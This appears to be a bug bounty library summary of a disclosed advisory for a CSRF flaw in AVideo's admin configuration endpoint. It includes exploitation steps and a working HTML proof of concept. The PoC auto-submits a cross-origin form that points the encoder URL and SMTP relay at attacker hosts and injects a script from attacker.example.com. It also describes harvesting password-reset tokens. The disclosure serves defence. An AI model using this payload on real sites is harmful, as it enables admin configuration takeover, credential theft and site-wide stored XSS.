# WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials

AVideo's configurationUpdate.json.php only checks User::isAdmin() and skips CSRF token/Origin checks, so a cross-origin form rewrites encoder URL, SMTP creds and site head HTML.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-04-14
- CVE: CVE-2026-40925
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vvfw-4m39-fjqf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vvfw-4m39-fjqf
- Tags: area:web domain:web impact:ato impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:source-review vuln:csrf vuln:misconfiguration vuln:xss

**Target:** PHP admin config endpoint objects/configurationUpdate.json.php (/updateConfig)
**Root cause:** Endpoint authorizes only via User::isAdmin() and omits forbidIfIsUntrustedRequest()/globalToken/Origin checks; session.cookie_samesite is intentionally None for iframe embedding, so cross-origin POSTs carry the admin session.
**Steps:**
1. Confirm objects/configurationUpdate.json.php:10 only calls User::isAdmin() with no forbidIfIsUntrustedRequest, verifyToken, globalToken or Origin/Referer check.
2. Note objects/include_config.php:144 sets `ini_set('session.cookie_samesite', 'None')` and peer endpoint objects/userUpdate.json.php:18 does call forbidIfIsUntrustedRequest().
3. Host evil.html with a `<form action="https://victim.example.com/objects/configurationUpdate.json.php" method="POST" enctype="application/x-www-form-urlencoded">` containing fields like `encoder_url`, `smtpHost`, `smtpPassword`, `head` and auto-submit via `document.getElementById('x').submit()`.
4. Lure a logged-in admin to the page; browser sends PHPSESSID cross-origin with no preflight (simple content type).
5. Server passes admin check and reaches `$config->save()` at :130, returning `{"status":"1",...}`; verify injected `<script>` in rendered `<head>` and rewritten config.
6. Pivot: trigger password reset to capture tokens via attacker SMTP, or rely on stored XSS in head for session theft.
**How found:** Code review of the admin config endpoint: noticed it lacked the forbidIfIsUntrustedRequest() call that peer endpoint userUpdate.json.php uses, and that include_config.php intentionally sets SameSite=None while prescribing globalToken for state-mutating endpoints.
**Exploitation:** Attacker hosts a cross-origin auto-submitting form targeting /objects/configurationUpdate.json.php (or /updateConfig). Victim admin visits; SameSite=None sends PHPSESSID, no preflight due to urlencoded content type. Single request rewrites encoder URL, SMTP host/creds, head HTML, logo/favicon, contact email and policy flags, yielding stored XSS site-wide, SMTP-based reset-token harvesting, encoder pipeline hijack and file writes under web root.
**Escalation:** setHead() turns config write into persistent site-wide stored XSS hitting all visitors/admins; setSmtp* redirects password-reset mail to attacker relay for token/credential capture; setEncoderURL poisons downstream metadata ingestion.
**Insight:** When a framework intentionally sets SameSite=None for iframe support, every state-mutating endpoint must be grepped for the project's own CSRF primitive (forbidIfIsUntrustedRequest/verifyToken); diff sibling admin endpoints to spot the one missing the call.

## Proof of concept (copied exactly from the original report)

**CSRF HTML form PoC rewriting site config**

```
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
      method="POST" enctype="application/x-www-form-urlencoded">
  <input name="contactEmail"        value="attacker@evil.com">
  <input name="language"            value="en">
  <input name="webSiteTitle"        value="Pwned">
  <input name="description"         value="x">
  <input name="authCanComment"      value="1">
  <input name="authCanUploadVideos" value="1">
  <input name="authCanViewChart"    value="1">
  <input name="disable_analytics"   value="0">
  <input name="allow_download"      value="1">
  <input name="session_timeout"     value="3600">
  <input name="encoder_url"         value="https://attacker.example.com/Encoder/">
  <input name="smtp"                value="1">
  <input name="smtpAuth"            value="1">
  <input name="smtpSecure"          value="tls">
  <input name="smtpHost"            value="smtp.attacker.com">
  <input name="smtpUsername"        value="attacker">
  <input name="smtpPassword"        value="password">
  <input name="smtpPort"            value="587">
  <input name="head"                value='<script src="https://attacker.example.com/evil.js"></script>'>
  <input name="adsense"             value="x">
  <input name="autoplay"            value="1">
  <input name="theme"               value="default">
</form>
<script>document.getElementById('x').submit();</script>
```

